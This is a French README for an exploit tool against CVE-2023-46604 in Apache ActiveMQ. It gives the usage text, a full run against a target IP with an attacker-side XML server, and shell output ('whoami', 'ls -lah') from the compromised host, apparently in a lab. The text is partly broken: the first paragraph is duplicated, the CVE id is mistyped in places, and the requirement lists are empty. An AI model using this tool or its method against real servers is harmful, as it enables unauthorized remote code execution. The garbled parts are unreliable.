
Ce script exploite CVE-2023046604 (Apache ActiveMQ) pour générer un pseudo shell. La vulnérabilité permet une exécution de code à distance en raison d'une désérialisation non sécurisée dans le protocole OpenWire.
Ce script exploite CVE-2023046604 (Apache ActiveMQ) pour générer un pseudo-shell. La vulnérabilité permet l'exécution de code à distance en raison d'une désérialisation non sécurisée dans le protocole OpenWire.
CVE-2023-46604 est une vulnérabilité de désérialisation présente dans le protocole OpenWire d'Apache ActiveMQ. Cette faille peut être exploitée par un attaquant pour exécuter du code arbitraire sur le serveur où ActiveMQ est en cours d'exécution. Un attaquant peut créer un fichier XML malveillant dont les commandes seront exécutées par le serveur distant.
Cet exploit automatise et abstrait le processus de création de document XML, fournit un serveur de base pour distribuer le fichier et reçoit des informations du serveur cible via POST. Cela permet une exploitation continue sans avoir besoin d'invoquer un reverse shell ou de déployer un binaire.
Avant d'exécuter le script d'exploitation, assurez-vous d'avoir :
Le script nécessite :
Optionnel :
usage: exploit.py [-h] -i IP [-p PORT] -si SRVIP [-sp SRVPORT]
optional arguments:
-h, --help show this help message and exit
-i IP, --ip IP ActiveMQ Server IP or Hostname
-p PORT, --port PORT ActiveMQ Server Port, defaults to 61616
-si SRVIP, --srvip SRVIP
Serve IP
-sp SRVPORT, --srvport SRVPORT
Serve port, defaults to 8080
$python3 exploit.py -i 10.129.230.87 -p 61616 -si 10.10.14.59 -sp 8080
#################################################################################
# CVE-2023-46604 - Apache ActiveMQ - Remote Code Execution - Pseudo Shell #
# Exploit by Ducksec, Original POC by X1r0z, Python POC by evkl1d #
#################################################################################
[*] Target: 10.129.230.87:61616
[*] Serving XML at: http://10.10.14.59:8080/poc.xml
[!] This is a semi-interactive pseudo-shell, you cannot cd, but you can ls-lah / for example.
[*] Type 'exit' to quit
#################################################################################
# Not yet connected, send a command to test connection to host. #
# Prompt will change to Apache ActiveMQ$ once at least one response is received #
# Please note this is a one-off connection check, re-run the script if you #
# want to re-check the connection. #
#################################################################################
[Target not responding!]$ whoami
activemq
Apache ActiveMQ$ ls -lah
total 164K
drwxr-xr-x 5 activemq activemq 4.0K Nov 7 12:50 .
drwxr-xr-x 11 activemq activemq 4.0K Nov 6 01:18 ..
-rwxr-xr-x 1 activemq activemq 21K Apr 20 2021 activemq
-rwxr-xr-x 1 activemq activemq 6.1K Apr 20 2021 activemq-diag
-rw-r--r-- 1 activemq activemq 17K Apr 20 2021 activemq.jar
-rw-r--r-- 1 activemq activemq 5.5K Apr 20 2021 env
drwxr-xr-x 2 activemq activemq 4.0K Nov 5 00:13 linux-x86-32
drwxr-xr-x 2 activemq activemq 4.0K Nov 5 00:13 linux-x86-64
drwxr-xr-x 2 activemq activemq 4.0K Nov 5 00:13 macosx
-rw-r--r-- 1 activemq activemq 82K Apr 20 2021 wrapper.jar
Apache ActiveMQ$
Ce code est fourni uniquement à des fins éducatives et de tests de sécurité éthiques. Il doit être utilisé de manière responsable et uniquement dans des environnements où une autorisation explicite a été accordée. Toute utilisation non autorisée ou malveillante est strictement interdite. En utilisant ce code, vous acceptez de respecter toutes les lois, réglementations et normes éthiques applicables dans votre juridiction. Les créateurs et contributeurs déclinent toute responsabilité pour les dommages ou conséquences découlant d'une utilisation abusive ou non autorisée de ce code.